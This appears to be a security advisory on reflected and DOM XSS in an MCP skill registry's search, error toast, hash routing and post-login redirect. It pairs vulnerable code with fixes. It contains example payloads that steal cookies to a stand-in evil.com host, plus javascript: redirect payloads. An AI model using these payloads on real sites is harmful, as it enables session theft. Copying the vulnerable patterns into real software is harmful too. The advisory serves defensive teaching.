Claude MCP skill reflected and DOM XSS in registry search and navigation — SA-SKL-XSS9
Search results pages, error toasts, category navigation, and post-login redirect flows are where reflected XSS lives. These are the surfaces where user-supplied query parameters make their way back into rendered HTML without encoding — either server-side via EJS <%-, or client-side via document.write() and innerHTML. SA-SKL-XSS9 covers four reflected and DOM XSS patterns in MCP skill registry search and navigation flows, plus an open redirect to javascript: URI that the browser executes in the registry's origin context.
<%- q %> (unescaped output) — attacker crafts q=<script>...</script>; script executes in registry origin?error= parameter reflected in alert/toast without encoding — attacker crafts error=<img onerror=...>; XSS via toast HTMLinnerHTML or document.write() — hash-based routing XSS via #/skills/<img src=x onerror=...>javascript: URI via ?next= param — /auth/login?next=javascript:alert(1) executes script in registry origin post-loginXSS9-001 — Search query reflected in page heading via unescaped EJS
EJS (Embedded JavaScript Templates) provides two output operators: <%= (HTML-escapes the value before output) and <%- (outputs the raw string with no escaping). When a search query is reflected in the results page heading using the unescaped operator, any HTML or JavaScript in the query string executes in the browser. This is a server-side reflected XSS — the payload is in the HTTP response body generated by the server, not injected client-side.
// VULNERABLE — XSS9-001
// EJS template for search results page
// routes/search.js
app.get('/search', (req, res) => {
const q = req.query.q || '';
res.render('search', { q, results: [] });
});
// views/search.ejs — VULNERABLE: <%- outputs unescaped HTML
// <h1>Search results for: <%- q %></h1>
// Attacker URL: /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
// The script tag is rendered literally into the HTML response — executes in victim's browser
// FIXED — XSS9-001
// Use <%= to HTML-escape the query before output.
// <%= converts <, >, ", ', and & to their HTML entities.
// routes/search.js — no change needed to the route handler
// views/search.ejs — FIXED: <%= auto-escapes HTML special characters
// <h1>Search results for: <%= q %></h1>
// Attacker URL: /search?q=<script>...</script>
// Output: <h1>Search results for: <script>...</script></h1>
// The script tag is displayed as literal text — not executed
// Also set a strict Content-Security-Policy as defence-in-depth:
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
);
next();
});
EJS has two output operators and the wrong one is easy to type: <%- was designed for cases where the template developer intentionally wants to include trusted HTML fragments. It is frequently misused on user-controlled values. Code review for XSS9-001 patterns should grep for <%- in all EJS templates and verify that every occurrence receives only internally-generated, pre-validated HTML — never user input from query params, form fields, or database values derived from user input.
XSS9-002 — Error message from URL parameter reflected in alert/toast
Many web apps pass error codes or messages via URL parameters after a redirect: /dashboard?error=insufficient_permissions. When the error message is read from the URL and inserted into a toast or alert element via innerHTML, it becomes a DOM XSS vector. The attacker crafts a link to /dashboard?error=<img src=x onerror="...attacker payload..."> and shares it with the victim. When the victim follows the link to the legitimate registry domain, the payload executes in the registry's origin context.
// VULNERABLE — XSS9-002
// Error message from URL param inserted into DOM via innerHTML
// In the dashboard JavaScript:
document.addEventListener('DOMContentLoaded', () => {
const params = new URLSearchParams(window.location.search);
const error = params.get('error');
if (error) {
// VULNERABLE: attacker controls error value; innerHTML executes HTML
document.getElementById('toast').innerHTML =
`<div class="toast error">Error: ${error}</div>`;
document.getElementById('toast').style.display = 'block';
}
});
// FIXED — XSS9-002
// Option A: use textContent — never interprets HTML
// Option B: allowlist of error codes — never reflect raw URL param values in HTML
// Option A: textContent (safest)
document.addEventListener('DOMContentLoaded', () => {
const params = new URLSearchParams(window.location.search);
const error = params.get('error');
if (error) {
const toast = document.getElementById('toast');
// FIX: textContent does not parse HTML — script/img tags are displayed as literal text
toast.textContent = `Error: ${error}`;
toast.className = 'toast error';
toast.style.display = 'block';
}
});
// Option B: allowlist (better UX with pre-written messages)
const ERROR_MESSAGES = {
insufficient_permissions: 'You do not have permission to perform this action.',
session_expired: 'Your session has expired. Please log in again.',
skill_not_found: 'The requested skill could not be found.',
};
document.addEventListener('DOMContentLoaded', () => {
const params = new URLSearchParams(window.location.search);
const errorCode = params.get('error');
const message = ERROR_MESSAGES[errorCode]; // FIX: only known codes produce output
if (message) {
const toast = document.getElementById('toast');
toast.textContent = message; // safe: server-defined string
toast.style.display = 'block';
}
});
XSS9-003 — Skill category from URL hash in innerHTML or document.write()
Single-page applications that implement client-side routing via the URL hash (window.location.hash) are particularly vulnerable to DOM XSS when the hash value is used to generate page content. Because the hash is never sent to the server, server-side sanitization and security headers cannot protect against hash-based XSS — only client-side code determines what happens with it. An attacker crafts a link to https://registry.example.com/skills#/skills/<img src=x onerror=fetch('evil.com?c='+document.cookie)> and the browser executes the payload when the hash value is inserted into the DOM.
// VULNERABLE — XSS9-003
// Client-side router uses hash value in innerHTML to render category name
function renderCategory() {
const hash = window.location.hash; // e.g. '#/skills/security-tools'
const category = hash.replace('#/skills/', '');
// VULNERABLE: innerHTML interprets attacker-controlled category as HTML
document.getElementById('category-heading').innerHTML =
`Browsing category: ${category}`;
}
window.addEventListener('hashchange', renderCategory);
renderCategory();
// FIXED — XSS9-003
// Use textContent for any user-influenced value.
// For category display, use a pre-validated allowlist of category slugs.
const KNOWN_CATEGORIES = new Set([
'security-tools', 'productivity', 'developer-tools',
'ai-models', 'data-analysis', 'automation',
]);
function renderCategory() {
const hash = window.location.hash;
const rawCategory = hash.replace('#/skills/', '');
// FIX 1: allowlist check — only render known categories
if (KNOWN_CATEGORIES.has(rawCategory)) {
// FIX 2: textContent — cannot inject HTML even if allowlist is bypassed
document.getElementById('category-heading').textContent =
`Browsing category: ${rawCategory}`;
} else {
document.getElementById('category-heading').textContent = 'All skills';
}
}
window.addEventListener('hashchange', renderCategory);
renderCategory();
Hash-based routing is a frequent DOM XSS blind spot: Security scanners that only test server-rendered responses miss hash-based XSS entirely because the hash is never sent to the server. SkillAudit's browser-based scan phase uses a headless browser to exercise client-side routing paths, including hash fragments, to catch DOM XSS that server-side scanning would miss.
XSS9-004 — Open redirect to javascript: URI from ?next= parameter
Post-login redirect flows often use a ?next= query parameter to send the user back to the page they were trying to access before authentication was required. When the validation on this parameter is too weak — blocking only http:// or not checking for double slashes — an attacker can inject a javascript: URI. When the server-side code (or client-side code in an SPA) performs window.location.href = next after login, the browser evaluates the JavaScript URI in the registry's origin context, with full access to the user's just-established session cookies and local storage.
// VULNERABLE — XSS9-004
// Open redirect from next param — weak validation only blocks http:// prefix
app.get('/auth/callback', async (req, res) => {
// ... OAuth callback handling ...
const next = req.query.next || '/dashboard';
// VULNERABLE: only blocks absolute http:// — allows javascript: and //evil.com
if (next.startsWith('http://')) {
return res.redirect('/dashboard');
}
// Attacker uses: ?next=javascript:eval(atob('...base64 payload...'))
// Or: ?next=//evil.com (protocol-relative — same-origin check bypassed)
res.redirect(next);
});
// FIXED — XSS9-004
// Validate that next is a same-origin path starting with /.
// Reject everything else — no protocol-relative URLs, no javascript: URIs.
function isSafeRedirectPath(next) {
if (typeof next !== 'string') return false;
// FIX: must start with exactly one forward slash (not //)
// This excludes: javascript:, http://, //evil.com, and all other non-path values
return /^\/[^/]/.test(next) || next === '/';
}
app.get('/auth/callback', async (req, res) => {
// ... OAuth callback handling ...
const next = req.query.next;
const redirectTo = isSafeRedirectPath(next) ? next : '/dashboard';
res.redirect(redirectTo);
});
// For SPA client-side redirects:
function safeRedirect(next) {
// FIX: same validation on the client side — URL API rejects non-path values
if (!isSafeRedirectPath(next)) {
window.location.href = '/dashboard';
return;
}
// FIX: construct URL relative to origin to prevent absolute URL injection
window.location.href = new URL(next, window.location.origin).href;
}
Protocol-relative URLs are as dangerous as javascript: URIs: //evil.com/steal is a protocol-relative URL — the browser resolves it to https://evil.com/steal. It passes tests that only check for http:// or https:// prefixes, and passes tests that check for a leading slash. The /^\/[^/]/ regex (single slash, not double slash) closes this vector. The URL constructor new URL(next, window.location.origin) provides an additional layer: even if the validation is bypassed, constructing relative to the current origin prevents navigation to external domains.
Summary — SA-SKL-XSS9 at a glance
| Pattern | Root cause | Fix | Severity |
|---|---|---|---|
| XSS9-001 | EJS <%- (unescaped) with search query in page heading | EJS <%= (auto-escaped) for all user-controlled values | CRITICAL |
| XSS9-002 | Error message from URL param inserted via innerHTML in toast | textContent assignment; allowlist of error code → display string | HIGH |
| XSS9-003 | URL hash value used in innerHTML/document.write in SPA router | textContent; allowlist of valid category slugs before rendering | HIGH |
| XSS9-004 | Open redirect via ?next=javascript: URI after login | Validate next is a same-origin path starting with / (not //) | MEDIUM |
See also SA-SKL-XSS8 (stored XSS in skill name/description) and SA-SKL-XSS7 (reflected XSS in error pages) for related cross-site scripting patterns in MCP skill registries.